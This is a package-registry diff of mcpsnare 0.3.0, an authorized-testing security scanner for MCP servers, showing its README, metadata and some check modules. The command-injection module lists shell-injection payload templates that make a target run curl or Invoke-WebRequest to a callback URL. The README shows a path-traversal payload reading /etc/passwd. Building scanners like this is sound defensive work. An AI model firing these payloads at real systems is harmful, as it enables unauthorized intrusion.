mcpsnare 0.3.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. mcpsnare-0.3.0/LICENSE +21 -0
  2. mcpsnare-0.3.0/PKG-INFO +222 -0
  3. mcpsnare-0.3.0/README.md +187 -0
  4. mcpsnare-0.3.0/mcpsnare/__init__.py +1 -0
  5. mcpsnare-0.3.0/mcpsnare/__main__.py +4 -0
  6. mcpsnare-0.3.0/mcpsnare/checks/__init__.py +2 -0
  7. mcpsnare-0.3.0/mcpsnare/checks/auth_bypass.py +48 -0
  8. mcpsnare-0.3.0/mcpsnare/checks/base.py +27 -0
  9. mcpsnare-0.3.0/mcpsnare/checks/cmd_injection.py +73 -0
  10. mcpsnare-0.3.0/mcpsnare/checks/info_leak.py +43 -0
  11. mcpsnare-0.3.0/mcpsnare/checks/path_traversal.py +25 -0
  12. mcpsnare-0.3.0/mcpsnare/checks/sql_injection.py +76 -0
  13. mcpsnare-0.3.0/mcpsnare/checks/ssrf.py +19 -0
  14. mcpsnare-0.3.0/mcpsnare/cli.py +118 -0
  15. mcpsnare-0.3.0/mcpsnare/connect/__init__.py +0 -0
  16. mcpsnare-0.3.0/mcpsnare/connect/resources.py +42 -0
  17. mcpsnare-0.3.0/mcpsnare/connect/session.py +68 -0
  18. mcpsnare-0.3.0/mcpsnare/engine.py +153 -0
  19. mcpsnare-0.3.0/mcpsnare/inject/__init__.py +0 -0
  20. mcpsnare-0.3.0/mcpsnare/inject/jsonpath.py +56 -0
  21. mcpsnare-0.3.0/mcpsnare/inject/mapper.py +148 -0
  22. mcpsnare-0.3.0/mcpsnare/models.py +88 -0
  23. mcpsnare-0.3.0/mcpsnare/oob/__init__.py +0 -0
  24. mcpsnare-0.3.0/mcpsnare/oob/base.py +7 -0
  25. mcpsnare-0.3.0/mcpsnare/oob/interactsh.py +34 -0
  26. mcpsnare-0.3.0/mcpsnare/oob/interactsh_client.py +84 -0
  27. mcpsnare-0.3.0/mcpsnare/oob/local.py +41 -0
  28. mcpsnare-0.3.0/mcpsnare/report/__init__.py +0 -0
  29. mcpsnare-0.3.0/mcpsnare/report/render.py +46 -0
  30. mcpsnare-0.3.0/mcpsnare.egg-info/PKG-INFO +222 -0
  31. mcpsnare-0.3.0/mcpsnare.egg-info/SOURCES.txt +48 -0
  32. mcpsnare-0.3.0/mcpsnare.egg-info/dependency_links.txt +1 -0
  33. mcpsnare-0.3.0/mcpsnare.egg-info/entry_points.txt +2 -0
  34. mcpsnare-0.3.0/mcpsnare.egg-info/requires.txt +9 -0
  35. mcpsnare-0.3.0/mcpsnare.egg-info/top_level.txt +1 -0
  36. mcpsnare-0.3.0/pyproject.toml +52 -0
  37. mcpsnare-0.3.0/setup.cfg +4 -0
  38. mcpsnare-0.3.0/tests/test_checks.py +384 -0
  39. mcpsnare-0.3.0/tests/test_cli.py +36 -0
  40. mcpsnare-0.3.0/tests/test_engine.py +408 -0
  41. mcpsnare-0.3.0/tests/test_http_e2e.py +103 -0
  42. mcpsnare-0.3.0/tests/test_interactsh_client.py +65 -0
  43. mcpsnare-0.3.0/tests/test_jsonpath.py +43 -0
  44. mcpsnare-0.3.0/tests/test_mapper.py +164 -0
  45. mcpsnare-0.3.0/tests/test_models.py +63 -0
  46. mcpsnare-0.3.0/tests/test_oob_interactsh.py +38 -0
  47. mcpsnare-0.3.0/tests/test_oob_local.py +25 -0
  48. mcpsnare-0.3.0/tests/test_report.py +21 -0
  49. mcpsnare-0.3.0/tests/test_session.py +83 -0
  50. mcpsnare-0.3.0/tests/test_smoke.py +5 -0
mcpsnare-0.3.0/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Dennis Sepede (Den-Sec)
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,222 @@
1
+ Metadata-Version: 2.4
2
+ Name: mcpsnare
3
+ Version: 0.3.0
4
+ Summary: Active, confirmation-driven security scanner for MCP (Model Context Protocol) servers - Burp Active Scan, for MCP.
5
+ Author-email: Dennis Sepede <dennisepede@proton.me>
6
+ License: MIT
7
+ Project-URL: Homepage, https://github.com/Den-Sec/mcpsnare
8
+ Project-URL: Repository, https://github.com/Den-Sec/mcpsnare
9
+ Project-URL: Issues, https://github.com/Den-Sec/mcpsnare/issues
10
+ Project-URL: Changelog, https://github.com/Den-Sec/mcpsnare/blob/main/CHANGELOG.md
11
+ Keywords: mcp,model-context-protocol,security,scanner,pentest,vulnerability,dast,appsec,ssrf,oob
12
+ Classifier: Development Status :: 4 - Beta
13
+ Classifier: Environment :: Console
14
+ Classifier: Intended Audience :: Information Technology
15
+ Classifier: Intended Audience :: Developers
16
+ Classifier: License :: OSI Approved :: MIT License
17
+ Classifier: Operating System :: OS Independent
18
+ Classifier: Programming Language :: Python :: 3
19
+ Classifier: Programming Language :: Python :: 3.11
20
+ Classifier: Programming Language :: Python :: 3.12
21
+ Classifier: Topic :: Security
22
+ Classifier: Topic :: Software Development :: Testing
23
+ Requires-Python: >=3.11
24
+ Description-Content-Type: text/markdown
25
+ License-File: LICENSE
26
+ Requires-Dist: mcp>=1.0.0
27
+ Requires-Dist: httpx>=0.27
28
+ Requires-Dist: rich>=13.0
29
+ Requires-Dist: cryptography>=42.0
30
+ Provides-Extra: dev
31
+ Requires-Dist: pytest>=8.0; extra == "dev"
32
+ Requires-Dist: pytest-asyncio>=0.23; extra == "dev"
33
+ Requires-Dist: uvicorn>=0.31; extra == "dev"
34
+ Dynamic: license-file
35
+
36
+ # mcpsnare
37
+
38
+ **The active security scanner for MCP servers — _Burp Active Scan, for the Model Context Protocol._**
39
+
40
+ [![ci](https://github.com/Den-Sec/mcpsnare/actions/workflows/ci.yml/badge.svg)](https://github.com/Den-Sec/mcpsnare/actions/workflows/ci.yml)
41
+ [![Python](https://img.shields.io/badge/python-3.11%2B-blue)](https://www.python.org/)
42
+ [![License: MIT](https://img.shields.io/badge/license-MIT-green.svg)](LICENSE)
43
+
44
+ mcpsnare enumerates the tools an MCP server exposes, fires targeted payloads at their
45
+ parameters, and reports **only what it can prove**. Every finding is tied to a concrete
46
+ oracle — an out-of-band callback, a reflected canary, a calibrated timing delay — and
47
+ carries a graded confidence level.
48
+
49
+ Most "MCP security" tools pattern-match configs and source code. mcpsnare **triggers the
50
+ vulnerability and catches the proof**: a `CONFIRMED` finding is exploitable, not theoretical.
51
+
52
+ > _(Formerly published as `mcprobe`.)_
53
+
54
+ ## Demo
55
+
56
+ A default scan of a vulnerable MCP server — no config, one command:
57
+
58
+ ```console
59
+ $ mcpsnare scan --stdio "python vulnerable_server.py"
60
+ [!] mcpsnare - authorized testing only.
61
+
62
+ 6 finding(s):
63
+ [HIGH] Path traversal in read_doc.path (confirmed)
64
+ [HIGH] Secret/info leak via whoami (firm)
65
+ [HIGH] Path traversal in read_cfg.config.path (confirmed)
66
+ [HIGH] Path traversal in read_many.paths[0] (confirmed)
67
+ [HIGH] Path traversal in read_mode.path (confirmed)
68
+ [CRITICAL] Command injection in ping.host (confirmed)
69
+ ```
70
+
71
+ That `CRITICAL` command injection is `confirmed` because the injected payload made the
72
+ target call back to a listener mcpsnare controls — an **out-of-band proof of execution**,
73
+ not a guess. The same scan as machine-readable JSON (or SARIF / Markdown):
74
+
75
+ ```console
76
+ $ mcpsnare scan --stdio "python vulnerable_server.py" --output json
77
+ {
78
+ "summary": { "critical": 1, "high": 5, "medium": 0, "low": 0, "info": 0 },
79
+ "findings": [
80
+ {
81
+ "check": "path_traversal", "tool": "read_doc", "param": "path",
82
+ "severity": "high", "confidence": "confirmed", "cwe": "CWE-22",
83
+ "title": "Path traversal in read_doc.path",
84
+ "payload": "../../../../../../etc/passwd",
85
+ "evidence": "root:x:0:0:root:/root:/bin/bash",
86
+ "remediation": "Resolve and contain paths within an allowed base dir."
87
+ }
88
+ /* ... */
89
+ ]
90
+ }
91
+ ```
92
+
93
+ ## Install
94
+
95
+ From source (Python 3.11+):
96
+
97
+ ```bash
98
+ git clone https://github.com/Den-Sec/mcpsnare && cd mcpsnare
99
+ pip install -e ".[dev]"
100
+ ```
101
+
102
+ This installs the `mcpsnare` console entry point. A PyPI release (`pipx install mcpsnare`)
103
+ is imminent — see [Releases](https://github.com/Den-Sec/mcpsnare/releases).
104
+
105
+ ## Quickstart
106
+
107
+ ```bash
108
+ # Local stdio server (launched as a subprocess)
109
+ mcpsnare scan --stdio "python server.py"
110
+
111
+ # Remote streamable-HTTP endpoint, with auth, emitting SARIF for code scanning
112
+ mcpsnare scan --http https://host/mcp --header "Authorization: Bearer X" --output sarif
113
+
114
+ # Add blocking time-based probes (off by default) and tune concurrency
115
+ mcpsnare scan --stdio "python server.py" --aggressive --concurrency 8
116
+ ```
117
+
118
+ ## Why mcpsnare
119
+
120
+ Most MCP security tooling is either a generic fuzzer (noisy, low-signal) or a
121
+ defensive/static analyzer (reads config and source, never proves exploitability).
122
+ mcpsnare is built around active confirmation:
123
+
124
+ - **Oracle-backed, not guesses.** Every finding is tied to a concrete signal: an
125
+ **out-of-band (OOB)** callback, a **calibrated time** delay, a **canary** value
126
+ reflected in the response, or a **baseline diff**. No signal, no finding.
127
+ - **Graded, calibrated confidence.** Findings carry an explicit confidence level
128
+ (**CONFIRMED / FIRM / TENTATIVE**, see [Confidence levels](#confidence-levels)).
129
+ Per-tool baseline calibration suppresses the usual false-positive classes — a
130
+ slow-but-safe tool, or output that merely looks secret-shaped, is not flagged.
131
+ - **Reaches real schemas.** Maps injection points through nested objects, array items,
132
+ and params gated behind required enums; builds schema-valid baselines so payloads
133
+ actually reach the handler.
134
+ - **Both transports.** Works against MCP servers over **stdio** (local process) and
135
+ **streamable HTTP** (remote endpoint, with custom headers/auth) — both exercised
136
+ end-to-end in CI on Linux and Windows.
137
+
138
+ ## Confidence levels
139
+
140
+ Every finding carries one of three confidence levels, each earned by a specific oracle:
141
+
142
+ | Level | Meaning | How it's earned |
143
+ | ---------- | --------------------------------------------------- | --------------- |
144
+ | **CONFIRMED** | The payload provably executed, or protected data was reached. | An out-of-band callback fired (cmd injection, SSRF), a canary value was read back (path traversal), or an unauthenticated call returned a response byte-identical to the authenticated one (auth bypass). |
145
+ | **FIRM** | A calibrated/inferred signal strongly indicates the issue, short of an OOB proof. | A response delay exceeds the per-tool calibrated baseline by the injected sleep (time-based cmd injection); a secret-shaped string appears in the probe response but not in the benign baseline (info leak); or an unauthenticated response matches the authenticated one only after stripping volatile fields like timestamps/ids (auth bypass). |
146
+ | **TENTATIVE** | Pattern-only match, with no calibration to corroborate it. | A secret-shaped string matched, but no baseline was available to prove the input triggered it — review manually. |
147
+
148
+ The OOB and canary checks emit only **CONFIRMED**. Auth-bypass emits **CONFIRMED**
149
+ on a byte-identical response or **FIRM** on a match after stripping volatile fields.
150
+ The timing and info-leak oracles are where **FIRM** and **TENTATIVE** arise.
151
+
152
+ ## Checks
153
+
154
+ | Check | Vulnerability | CWE |
155
+ | ---------------- | ------------------------------ | -------- |
156
+ | `cmd_injection` | OS command injection | CWE-78 |
157
+ | `ssrf` | Server-side request forgery | CWE-918 |
158
+ | `path_traversal` | Path traversal | CWE-22 |
159
+ | `auth_bypass` | Missing authentication | CWE-306 |
160
+ | `info_leak` | Secret / sensitive info leak | CWE-200 |
161
+ | `sql_injection` | SQL injection | CWE-89 |
162
+
163
+ mcpsnare also enumerates MCP **resource templates** and treats their templated URI
164
+ params (e.g. `file:///{path}`) as injection points for path-traversal and info-leak.
165
+
166
+ ## Out-of-band (OOB) confirmation
167
+
168
+ OOB callbacks are how mcpsnare confirms blind command injection and SSRF: a probe
169
+ makes the target reach back to a listener mcpsnare controls.
170
+
171
+ - `--oob local` (default) spins up an in-process HTTP listener on localhost. It
172
+ needs no external service and works for targets that can reach your machine
173
+ (typically local stdio servers).
174
+ - `--oob interactsh` uses an out-of-band interaction server for targets that
175
+ cannot reach localhost (e.g. remote HTTP servers). mcpsnare ships a real interactsh
176
+ client (RSA-OAEP / AES-256-CTR), so this works out of the box against the public
177
+ `oast.fun` (override with `--interactsh-server`); it was live-verified end to end.
178
+ See [docs/interactsh-runbook.md](docs/interactsh-runbook.md).
179
+ - `--oob none` disables OOB confirmation; only time-based and canary oracles run.
180
+
181
+ ## Flags
182
+
183
+ - `--stdio "<cmd>"` / `--http <url>` — target transport (one required).
184
+ - `--header "k:v"` — add an HTTP header (repeatable).
185
+ - `--oob {local,interactsh,none}` — OOB confirmation backend (`local` default).
186
+ - `--aggressive` — also send blocking time-based (sleep) probes; by default mcpsnare
187
+ sends only non-blocking OOB/canary/pattern probes (time-based detection is aggressive-only).
188
+ - `--concurrency N` — max concurrent probe requests (default 4). Time-based probes run serially.
189
+ - `--rate R` — cap to R requests/second (default unlimited).
190
+ - `--oob-timeout S` / `--oob-poll-interval S` — how long (default 20s) / how often (default 2.5s) to poll for OOB callbacks.
191
+ - `--output {console,json,sarif,md}` — output format (default `console`).
192
+
193
+ ## Authorized testing only
194
+
195
+ **mcpsnare is an active scanner. It sends real, potentially destructive payloads
196
+ to the target.** Run it only against systems you own or have explicit written
197
+ authorization to test. Unauthorized use may be illegal. You are responsible for
198
+ how you use this tool.
199
+
200
+ ## Validation
201
+
202
+ mcpsnare is validated by an automated test suite (119 tests) against bundled
203
+ deliberately-vulnerable fixture servers in `tests/fixtures/`. The suite exercises
204
+ command injection (including cross-OS cmd.exe / PowerShell payloads), SSRF, path
205
+ traversal, info-leak, SQL injection, nested/array/enum injection points, and the OOB,
206
+ baseline-calibration, and false-positive-suppression paths end to end — over **both**
207
+ stdio and a live in-process streamable-HTTP server, on Linux and Windows in CI. See
208
+ [docs/claims-matrix.md](docs/claims-matrix.md) for the claim-to-test mapping.
209
+
210
+ It has also been smoke-tested against the real `@modelcontextprotocol/server-everything`
211
+ reference server (13 tools, 2 resource templates) — clean run, zero false positives. See
212
+ [docs/smoke-run.md](docs/smoke-run.md).
213
+
214
+ ## Roadmap
215
+
216
+ - MCP-specific checks: tool-poisoning / prompt-injection via tool descriptions,
217
+ and tool-scope / permission-boundary violations.
218
+ - Additional OOB providers and richer time-based oracles.
219
+
220
+ ## License
221
+
222
+ MIT — see [LICENSE](LICENSE).
@@ -0,0 +1,187 @@
1
+ # mcpsnare
2
+
3
+ **The active security scanner for MCP servers — _Burp Active Scan, for the Model Context Protocol._**
4
+
5
+ [![ci](https://github.com/Den-Sec/mcpsnare/actions/workflows/ci.yml/badge.svg)](https://github.com/Den-Sec/mcpsnare/actions/workflows/ci.yml)
6
+ [![Python](https://img.shields.io/badge/python-3.11%2B-blue)](https://www.python.org/)
7
+ [![License: MIT](https://img.shields.io/badge/license-MIT-green.svg)](LICENSE)
8
+
9
+ mcpsnare enumerates the tools an MCP server exposes, fires targeted payloads at their
10
+ parameters, and reports **only what it can prove**. Every finding is tied to a concrete
11
+ oracle — an out-of-band callback, a reflected canary, a calibrated timing delay — and
12
+ carries a graded confidence level.
13
+
14
+ Most "MCP security" tools pattern-match configs and source code. mcpsnare **triggers the
15
+ vulnerability and catches the proof**: a `CONFIRMED` finding is exploitable, not theoretical.
16
+
17
+ > _(Formerly published as `mcprobe`.)_
18
+
19
+ ## Demo
20
+
21
+ A default scan of a vulnerable MCP server — no config, one command:
22
+
23
+ ```console
24
+ $ mcpsnare scan --stdio "python vulnerable_server.py"
25
+ [!] mcpsnare - authorized testing only.
26
+
27
+ 6 finding(s):
28
+ [HIGH] Path traversal in read_doc.path (confirmed)
29
+ [HIGH] Secret/info leak via whoami (firm)
30
+ [HIGH] Path traversal in read_cfg.config.path (confirmed)
31
+ [HIGH] Path traversal in read_many.paths[0] (confirmed)
32
+ [HIGH] Path traversal in read_mode.path (confirmed)
33
+ [CRITICAL] Command injection in ping.host (confirmed)
34
+ ```
35
+
36
+ That `CRITICAL` command injection is `confirmed` because the injected payload made the
37
+ target call back to a listener mcpsnare controls — an **out-of-band proof of execution**,
38
+ not a guess. The same scan as machine-readable JSON (or SARIF / Markdown):
39
+
40
+ ```console
41
+ $ mcpsnare scan --stdio "python vulnerable_server.py" --output json
42
+ {
43
+ "summary": { "critical": 1, "high": 5, "medium": 0, "low": 0, "info": 0 },
44
+ "findings": [
45
+ {
46
+ "check": "path_traversal", "tool": "read_doc", "param": "path",
47
+ "severity": "high", "confidence": "confirmed", "cwe": "CWE-22",
48
+ "title": "Path traversal in read_doc.path",
49
+ "payload": "../../../../../../etc/passwd",
50
+ "evidence": "root:x:0:0:root:/root:/bin/bash",
51
+ "remediation": "Resolve and contain paths within an allowed base dir."
52
+ }
53
+ /* ... */
54
+ ]
55
+ }
56
+ ```
57
+
58
+ ## Install
59
+
60
+ From source (Python 3.11+):
61
+
62
+ ```bash
63
+ git clone https://github.com/Den-Sec/mcpsnare && cd mcpsnare
64
+ pip install -e ".[dev]"
65
+ ```
66
+
67
+ This installs the `mcpsnare` console entry point. A PyPI release (`pipx install mcpsnare`)
68
+ is imminent — see [Releases](https://github.com/Den-Sec/mcpsnare/releases).
69
+
70
+ ## Quickstart
71
+
72
+ ```bash
73
+ # Local stdio server (launched as a subprocess)
74
+ mcpsnare scan --stdio "python server.py"
75
+
76
+ # Remote streamable-HTTP endpoint, with auth, emitting SARIF for code scanning
77
+ mcpsnare scan --http https://host/mcp --header "Authorization: Bearer X" --output sarif
78
+
79
+ # Add blocking time-based probes (off by default) and tune concurrency
80
+ mcpsnare scan --stdio "python server.py" --aggressive --concurrency 8
81
+ ```
82
+
83
+ ## Why mcpsnare
84
+
85
+ Most MCP security tooling is either a generic fuzzer (noisy, low-signal) or a
86
+ defensive/static analyzer (reads config and source, never proves exploitability).
87
+ mcpsnare is built around active confirmation:
88
+
89
+ - **Oracle-backed, not guesses.** Every finding is tied to a concrete signal: an
90
+ **out-of-band (OOB)** callback, a **calibrated time** delay, a **canary** value
91
+ reflected in the response, or a **baseline diff**. No signal, no finding.
92
+ - **Graded, calibrated confidence.** Findings carry an explicit confidence level
93
+ (**CONFIRMED / FIRM / TENTATIVE**, see [Confidence levels](#confidence-levels)).
94
+ Per-tool baseline calibration suppresses the usual false-positive classes — a
95
+ slow-but-safe tool, or output that merely looks secret-shaped, is not flagged.
96
+ - **Reaches real schemas.** Maps injection points through nested objects, array items,
97
+ and params gated behind required enums; builds schema-valid baselines so payloads
98
+ actually reach the handler.
99
+ - **Both transports.** Works against MCP servers over **stdio** (local process) and
100
+ **streamable HTTP** (remote endpoint, with custom headers/auth) — both exercised
101
+ end-to-end in CI on Linux and Windows.
102
+
103
+ ## Confidence levels
104
+
105
+ Every finding carries one of three confidence levels, each earned by a specific oracle:
106
+
107
+ | Level | Meaning | How it's earned |
108
+ | ---------- | --------------------------------------------------- | --------------- |
109
+ | **CONFIRMED** | The payload provably executed, or protected data was reached. | An out-of-band callback fired (cmd injection, SSRF), a canary value was read back (path traversal), or an unauthenticated call returned a response byte-identical to the authenticated one (auth bypass). |
110
+ | **FIRM** | A calibrated/inferred signal strongly indicates the issue, short of an OOB proof. | A response delay exceeds the per-tool calibrated baseline by the injected sleep (time-based cmd injection); a secret-shaped string appears in the probe response but not in the benign baseline (info leak); or an unauthenticated response matches the authenticated one only after stripping volatile fields like timestamps/ids (auth bypass). |
111
+ | **TENTATIVE** | Pattern-only match, with no calibration to corroborate it. | A secret-shaped string matched, but no baseline was available to prove the input triggered it — review manually. |
112
+
113
+ The OOB and canary checks emit only **CONFIRMED**. Auth-bypass emits **CONFIRMED**
114
+ on a byte-identical response or **FIRM** on a match after stripping volatile fields.
115
+ The timing and info-leak oracles are where **FIRM** and **TENTATIVE** arise.
116
+
117
+ ## Checks
118
+
119
+ | Check | Vulnerability | CWE |
120
+ | ---------------- | ------------------------------ | -------- |
121
+ | `cmd_injection` | OS command injection | CWE-78 |
122
+ | `ssrf` | Server-side request forgery | CWE-918 |
123
+ | `path_traversal` | Path traversal | CWE-22 |
124
+ | `auth_bypass` | Missing authentication | CWE-306 |
125
+ | `info_leak` | Secret / sensitive info leak | CWE-200 |
126
+ | `sql_injection` | SQL injection | CWE-89 |
127
+
128
+ mcpsnare also enumerates MCP **resource templates** and treats their templated URI
129
+ params (e.g. `file:///{path}`) as injection points for path-traversal and info-leak.
130
+
131
+ ## Out-of-band (OOB) confirmation
132
+
133
+ OOB callbacks are how mcpsnare confirms blind command injection and SSRF: a probe
134
+ makes the target reach back to a listener mcpsnare controls.
135
+
136
+ - `--oob local` (default) spins up an in-process HTTP listener on localhost. It
137
+ needs no external service and works for targets that can reach your machine
138
+ (typically local stdio servers).
139
+ - `--oob interactsh` uses an out-of-band interaction server for targets that
140
+ cannot reach localhost (e.g. remote HTTP servers). mcpsnare ships a real interactsh
141
+ client (RSA-OAEP / AES-256-CTR), so this works out of the box against the public
142
+ `oast.fun` (override with `--interactsh-server`); it was live-verified end to end.
143
+ See [docs/interactsh-runbook.md](docs/interactsh-runbook.md).
144
+ - `--oob none` disables OOB confirmation; only time-based and canary oracles run.
145
+
146
+ ## Flags
147
+
148
+ - `--stdio "<cmd>"` / `--http <url>` — target transport (one required).
149
+ - `--header "k:v"` — add an HTTP header (repeatable).
150
+ - `--oob {local,interactsh,none}` — OOB confirmation backend (`local` default).
151
+ - `--aggressive` — also send blocking time-based (sleep) probes; by default mcpsnare
152
+ sends only non-blocking OOB/canary/pattern probes (time-based detection is aggressive-only).
153
+ - `--concurrency N` — max concurrent probe requests (default 4). Time-based probes run serially.
154
+ - `--rate R` — cap to R requests/second (default unlimited).
155
+ - `--oob-timeout S` / `--oob-poll-interval S` — how long (default 20s) / how often (default 2.5s) to poll for OOB callbacks.
156
+ - `--output {console,json,sarif,md}` — output format (default `console`).
157
+
158
+ ## Authorized testing only
159
+
160
+ **mcpsnare is an active scanner. It sends real, potentially destructive payloads
161
+ to the target.** Run it only against systems you own or have explicit written
162
+ authorization to test. Unauthorized use may be illegal. You are responsible for
163
+ how you use this tool.
164
+
165
+ ## Validation
166
+
167
+ mcpsnare is validated by an automated test suite (119 tests) against bundled
168
+ deliberately-vulnerable fixture servers in `tests/fixtures/`. The suite exercises
169
+ command injection (including cross-OS cmd.exe / PowerShell payloads), SSRF, path
170
+ traversal, info-leak, SQL injection, nested/array/enum injection points, and the OOB,
171
+ baseline-calibration, and false-positive-suppression paths end to end — over **both**
172
+ stdio and a live in-process streamable-HTTP server, on Linux and Windows in CI. See
173
+ [docs/claims-matrix.md](docs/claims-matrix.md) for the claim-to-test mapping.
174
+
175
+ It has also been smoke-tested against the real `@modelcontextprotocol/server-everything`
176
+ reference server (13 tools, 2 resource templates) — clean run, zero false positives. See
177
+ [docs/smoke-run.md](docs/smoke-run.md).
178
+
179
+ ## Roadmap
180
+
181
+ - MCP-specific checks: tool-poisoning / prompt-injection via tool descriptions,
182
+ and tool-scope / permission-boundary violations.
183
+ - Additional OOB providers and richer time-based oracles.
184
+
185
+ ## License
186
+
187
+ MIT — see [LICENSE](LICENSE).
@@ -0,0 +1 @@
1
+ __version__ = "0.3.0"
@@ -0,0 +1,4 @@
1
+ from mcpsnare.cli import main
2
+
3
+ if __name__ == "__main__":
4
+ main()
@@ -0,0 +1,2 @@
1
+ from mcpsnare.checks import (path_traversal, info_leak, cmd_injection, ssrf, auth_bypass, # noqa: F401
2
+ sql_injection) # noqa: F401
@@ -0,0 +1,48 @@
1
+ import re
2
+ from mcpsnare.models import Probe, Finding, Severity, Confidence
3
+ from mcpsnare.checks.base import register
4
+
5
+ # Volatile substrings stripped before the tolerant compare, so a bypass is detected
6
+ # even when the two bodies differ only by a timestamp / request-id / nonce. NOTE: a
7
+ # bare record "id" is intentionally NOT stripped - a different record id is a real data
8
+ # difference, not a volatile field, and stripping it would risk a false bypass.
9
+ _VOLATILE = re.compile(
10
+ r"\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2}(?:\.\d+)?Z?" # ISO timestamps
11
+ r"|[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}" # UUIDs
12
+ r"|\"(?:ts|timestamp|nonce|request[_-]?id|trace[_-]?id)\"\s*:\s*\"?[^\",}]*\"?",
13
+ re.IGNORECASE,
14
+ )
15
+
16
+
17
+ def _normalize(s: str) -> str:
18
+ return _VOLATILE.sub("", s or "").strip()
19
+
20
+
21
+ @register
22
+ class AuthBypass:
23
+ id = "auth_bypass"
24
+ def generate(self, point, ctx):
25
+ if ctx.transport != "http" or ctx.call_tool_unauth is None:
26
+ return []
27
+ return [Probe(check=self.id, point=point, payload="<no auth header>",
28
+ args=dict(point.base_args), meta={"needs_unauth": True})]
29
+ def evaluate(self, probe, response, ctx):
30
+ unauth = probe.meta.get("unauth_response")
31
+ if not unauth:
32
+ return None
33
+ if unauth == response:
34
+ # Raw byte-identical: a clear, directly-observed bypass.
35
+ return self._finding(probe, Confidence.CONFIRMED,
36
+ "tool callable without auth header (identical response)")
37
+ nu, nr = _normalize(unauth), _normalize(response)
38
+ if nu and nu == nr:
39
+ # Match only after stripping volatile fields: strong but inferred -> FIRM.
40
+ return self._finding(probe, Confidence.FIRM,
41
+ "tool callable without auth header (responses match modulo volatile fields)")
42
+ return None
43
+ def _finding(self, probe, conf, evidence):
44
+ return Finding(check=self.id, tool=probe.point.tool, param="-",
45
+ severity=Severity.HIGH, confidence=conf, cwe="CWE-306",
46
+ title=f"Missing authentication on {probe.point.tool}",
47
+ payload=probe.payload, evidence=evidence,
48
+ remediation="Enforce auth on the HTTP transport for all sensitive tools.")
@@ -0,0 +1,27 @@
1
+ from dataclasses import dataclass
2
+ from typing import Callable, Protocol
3
+ from mcpsnare.models import InjectionPoint, Probe, Finding, ToolBaseline
4
+
5
+
6
+ @dataclass
7
+ class CheckContext:
8
+ oob: object | None
9
+ transport: str
10
+ call_tool: Callable[[str, dict], str] | None = None
11
+ call_tool_unauth: Callable[[str, dict], str] | None = None
12
+ baseline: ToolBaseline | None = None
13
+ aggressive: bool = False
14
+
15
+
16
+ class Check(Protocol):
17
+ id: str
18
+ def generate(self, point: InjectionPoint, ctx: "CheckContext") -> list[Probe]: ...
19
+ def evaluate(self, probe: Probe, response: str, ctx: "CheckContext") -> Finding | None: ...
20
+
21
+
22
+ REGISTRY: dict[str, "Check"] = {}
23
+
24
+
25
+ def register(cls):
26
+ REGISTRY[cls.id] = cls()
27
+ return cls
@@ -0,0 +1,73 @@
1
+ from mcpsnare.models import Probe, Finding, Severity, Confidence
2
+ from mcpsnare.checks.base import register
3
+
4
+ _SLEEP_SECONDS = 5
5
+ _LATENCY_MULT = 3
6
+
7
+ # OOB confirmation payloads: each triggers an outbound request to {url}. Covers POSIX
8
+ # sh, Windows cmd.exe, and PowerShell, deduped. Non-blocking (always sent).
9
+ _OOB_TEMPLATES = (
10
+ "; curl {url}", # POSIX
11
+ "$(curl {url})", # POSIX command substitution
12
+ "& curl {url}", # cmd.exe / POSIX background
13
+ "| curl {url}", # cmd.exe / POSIX pipe
14
+ "; iwr {url}", # PowerShell (Invoke-WebRequest)
15
+ "; curl.exe {url}", # PowerShell (real curl, not the iwr alias)
16
+ )
17
+
18
+ # Blocking time-based payloads (~_SLEEP_SECONDS delay), sent only with --aggressive.
19
+ _SLEEP_TEMPLATES = (
20
+ "; sleep {n}", # POSIX
21
+ "$(sleep {n})", # POSIX command substitution
22
+ "& ping -n {n1} 127.0.0.1", # cmd.exe (no sleep builtin; ping ~1s/echo)
23
+ "; Start-Sleep -s {n}", # PowerShell
24
+ )
25
+
26
+ @register
27
+ class CmdInjection:
28
+ id = "cmd_injection"
29
+ def generate(self, point, ctx):
30
+ probes = []
31
+ if ctx.oob is not None:
32
+ for tpl in _OOB_TEMPLATES:
33
+ token, url = ctx.oob.new_token()
34
+ cmd = tpl.format(url=url) # separator+command, e.g. "; curl <url>"
35
+ whole_args = point.set(f"mcpsnare{cmd}")
36
+ embed_args = point.embed(cmd) # valid-value prefix + cmd
37
+ variants = [whole_args]
38
+ if embed_args != whole_args:
39
+ variants.append(embed_args)
40
+ for args in variants:
41
+ from mcpsnare.inject.jsonpath import deep_get
42
+ payload = deep_get(args, point.json_path)
43
+ probes.append(Probe(check=self.id, point=point, payload=str(payload),
44
+ args=args, token=token))
45
+ if getattr(ctx, "aggressive", False):
46
+ for tpl in _SLEEP_TEMPLATES:
47
+ pl = f"mcpsnare{tpl.format(n=_SLEEP_SECONDS, n1=_SLEEP_SECONDS + 1)}"
48
+ probes.append(Probe(check=self.id, point=point, payload=pl, args=point.set(pl),
49
+ meta={"time_based": True, "threshold": _SLEEP_SECONDS}))
50
+ return probes
51
+ def evaluate(self, probe, response, ctx):
